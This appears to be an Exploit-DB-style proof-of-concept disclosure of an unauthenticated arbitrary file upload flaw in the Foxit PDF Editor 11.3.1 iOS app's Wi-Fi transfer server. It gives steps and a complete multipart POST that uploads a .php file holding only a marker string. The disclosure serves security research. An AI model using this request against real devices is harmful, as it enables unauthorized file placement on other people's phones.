Foxit PDF Editor (iOS) 11.3.1 Arbitrary File Upload

`# Exploit Title: Foxit PDF Editor (iOS) - Arbitrary File Upload (Unauthenticated)  
# Date: 24/03/2022  
# Exploit Author: Saud Alenazi  
# Vendor Homepage: https://www.foxit.com  
# Software Link: https://apps.apple.com/us/app/foxit-pdf-editor/id507040546  
# Version: 11.3.1  
# Tested: iPhone 6 iOS 12.4.7  
# Contact: https://twitter.com/dmaral3noz  
  
  
- Description :  
  
An arbitrary file upload web vulnerability has been discovered in the Foxit PDF Editor v11.3.1 iOS mobile application.  
The web vulnerability allows remote attackers to upload arbitrary files to compromise for example the file system of a service  
  
- Steps :   
  
1- Download and install the Foxit PDF Editor iOS application  
2- open App and go to Files  
3- Click Pc (File transfer with wifi)  
4- Enable File Transferring   
5- Index of Documents (http://localhost:8888) , you can upload any extension   
  
  
- Request :  
  
POST / HTTP/1.1  
Host: localhost:8888  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: en-us  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryC2M8Dmj739BtPV2n  
Origin: http://localhost:8888  
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/604.1  
Connection: close  
Upgrade-Insecure-Requests: 1  
Referer: http://localhost:8888/  
Content-Length: 304  
  
------WebKitFormBoundaryC2M8Dmj739BtPV2n  
Content-Disposition: form-data; name="button"; filename="s3od.php"  
Content-Type: application/octet-stream  
  
0xSaudi  
------WebKitFormBoundaryC2M8Dmj739BtPV2n  
Content-Disposition: form-data; name="button"  
  
Upload  
------WebKitFormBoundaryC2M8Dmj739BtPV2n--  
  
  
****************************  
  
Path File : http://localhost:8888/s3od.php   
  
****************************  
`